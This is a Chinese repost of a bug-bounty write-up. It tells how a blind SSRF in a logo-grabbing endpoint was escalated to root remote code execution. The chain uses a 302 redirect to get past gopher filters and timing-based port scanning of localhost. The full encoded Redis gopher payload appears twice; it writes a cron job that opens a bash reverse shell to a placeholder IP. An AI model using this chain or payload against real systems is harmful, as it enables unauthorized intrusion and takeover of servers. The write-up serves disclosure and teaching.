记一次从盲SSRF到RCE
2021-05-28 17:00:10 Author: xz.aliyun.com(查看原文) 阅读量:187 收藏

一 前言

发现此漏洞的漏洞赏金计划不允许公开披露,因此我不会直接使用涉及的系统名称。该项目是发布在Hackerone时间最长漏洞奖金最大的项目之一, Hackerone上有很多关于该项目的黑客事件。这是一家非常稳固的公司,拥有世界一流的安全团队并且多年来有大量安全专家对这家公司进行测试,这使该漏洞的存在更加令人惊讶。

二 侦查

一般来说,对于一个大范围的漏洞赏金项目,我会进行子域名枚举来增加攻击面,但在本例中,我专注于单一的web目标系统。因为我只关注一个web应用程序,所以我首先使用GAU(https://github.com/lc/gau) 工具获取url和参数列表。我还查看了各种javascript文件中隐藏的参数,并使用Ffuf(https://github.com/ffuf/ffuf) 工具进行了一些目录模糊处理。通过这些方法,我发现了一些有趣的参数,但没有发现什么脆弱点。

由于第一种侦查方法没有发现任何问题,因此我尝试了另一种方法。在后台运行Burp代理测试Web应用程序的各种功能,发出的所有请求都存储在Burp中,这使我可以轻松查看所有请求中是否有有趣或潜在的漏洞。在测试了Web应用程序的功能之后,我开始浏览存储在代理日志中的请求,并遇到了类似于以下的请求

GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com
...

带有url参数的GET请求。此请求的响应如下所示,其中包含有关URL的标题和徽标的信息:

{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

该请求立即引起了我的兴趣,因为它正在返回有关URL的一些数据。每当您遇到从URL返回信息的请求时,最好测试一下SSRF。

三 发现SSRF

我第一次尝试SSRF失败,我能够与服务器进行外部交互,但由于受到了适当的保护,因此无法访问任何内部IP地址。
在无法访问任何内部IP地址之后,我决定查看是否可以访问该公司的任何公众已知的公司子域。我为目标做了一些子域枚举,然后对所有枚举的子域名进行尝试。最终,我很幸运,发现一些无法公开访问的站点返回了标题数据等信息。
举一个子域名(somecorpsite.example.com)的例子:当我尝试http://somecorpsite.example.com 在浏览器中访问时,该请求超时。但当我提交请求时:

GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com
...

响应包含内部标题和徽标信息:

{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.example.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.example.com/logos/logo.png"}}

现在,我可以通过访问内部子域来访问该域名的标题和徽标,因此我决定以盲SSRF提交报告。内部标题信息没有太敏感的内容,也没有返回其他页面内容,因此我认为这将被认为是影响力很小的盲SSRF,但是我没有想法将其升级,并决定按现状报告。一段时间后,该报告被接受并进行了分类。

四 RCE

自从我的原始报告进行分类以来,已经过去了大约一个月。我对它进行了分类感到很兴奋,但是知道影响很小,而且我可能不会从中得到很多赏金。SSRF仍然存在尚未修复,因此我决定进行更多研究以尝试进一步升级。在研究过程中,我了解到Gopher协议是升级SSRF的绝佳方法,在某些情况下可以导致完全远程执行代码。为了测试是否支持gopher协议,我提交了类似于以下内容的请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
...

不幸的是,请求立即失败并导致服务器错误。没有向我的Burp发出任何请求,因此好像不支持gopher协议。在继续测试的同时,我在线阅读了重定向通常是绕过某些SSRF保护的一种好方法,因此我决定测试服务器是否遵循重定向。为了测试重定向是否有效,我设置了一个Python http服务器,该服务器将所有GET流量都重定向到了Burp中的url。

python3 302redirect.py port “http://mycollaboratorurl/”

然后我提交了如下请求,以查看重定向是否到了我的Burp中:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

在提交请求后,我注意到重定向被跟踪,请求了我Burp中的url。所以现在我已经验证了重定向被跟踪了。现在我知道可以重定向了,我决定用gopher协议测试它。最初在请求中提交gopher负载会直接导致服务器错误,因此我将重定向服务器。设置如下以测试gopher是否可以通过重定向工作:

python3 302redirect.py port “gopher://mycollaboratorurl/”

然后再次提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

令我惊讶的是,它是成功的。重定向后在我的Burp中得到了一个请求。有一些针对Gopher协议的过滤器,但是如果我从自己的服务器重定向,它就会绕过过滤,重定向之后Gopher执行有效负载!gopher的有效负载可以通过302重定向执行,而且我意识到使用gopher我现在还可以访问以前过滤过的内部IP地址,比如127.0.0.1。
既然Gopher的有效载荷可以工作,并且可以攻击内部主机,我就必须弄清楚我可以与哪些服务交互,以便升级。在做了一些搜索之后,我发现了一个工具Gopherus(https://github.com/tarunkant/Gopherus), 它生成gopher有效载荷来升级SSRF。它包含以下服务的有效负载:
MySQL (Port-3306)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)
为了确定上面的端口是否在127.0.0.1上打开,我使用SSRF进行端口扫描。通过302将我的网络服务器重定向到gopher://127.0.0.1:port, 然后提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

我可以识别打开的端口,因为如果端口关闭,请求的响应时间会很长;如果端口打开,请求的响应时间会很短。使用这种端口扫描方法,我检查了上述所有6个端口。一个端口似乎是开放的-端口6379(Redis)

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…

现在一切看起来都很好。我好像拥有了我所需要的一切:
302重定向接受Gopher协议
能够用gopher有效载荷攻击localhost
已识别在本地主机上运行的潜在易受攻击的服务
使用Gopherus,我生成了一个Redis反向shell负载,结果如下所示:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

如果这个有效负载执行成功,它将使netcat侦听器获得反向shell。我启动服务器302重定向到gopher负载,如下所示:

python3 302redirect.py port
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

我启动了我的web服务器,我还启动了Netcat侦听器,端口1337,以捕获任何传入的反向shell。然后最后是关键时刻,我提交了请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

什么都没有,什么都没发生。我看到一个请求到达我的重定向服务器,但是没有反向shell返回到我的netcat。就这样结束了,我想,对我来说没什么。我觉得我的端口扫描结果可能是假的,可能本地主机上没有运行Redis服务器。我接受了失败,开始关闭一切。我把鼠标放在运行netcat的终端上的X按钮上,打算几毫秒后点击关闭它,突然我真的不知道为什么这么晚,但大约5分钟后,我收到了一个反向shell。我很高兴我一直在监听,否则我永远不会知道我得到了RCE

我运行whoami来验证我有RCE(我是root!),然后立即断开连接并用新信息更新了我的原始报告。该漏洞于2020年5月发现/报告,目前已解决。我最终得到了15000美元的赏金,以及公司安全团队的一些赞美:

原文链接:
https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530


文章来源: http://xz.aliyun.com/t/9589
如有侵权请联系:admin#unsafe.sh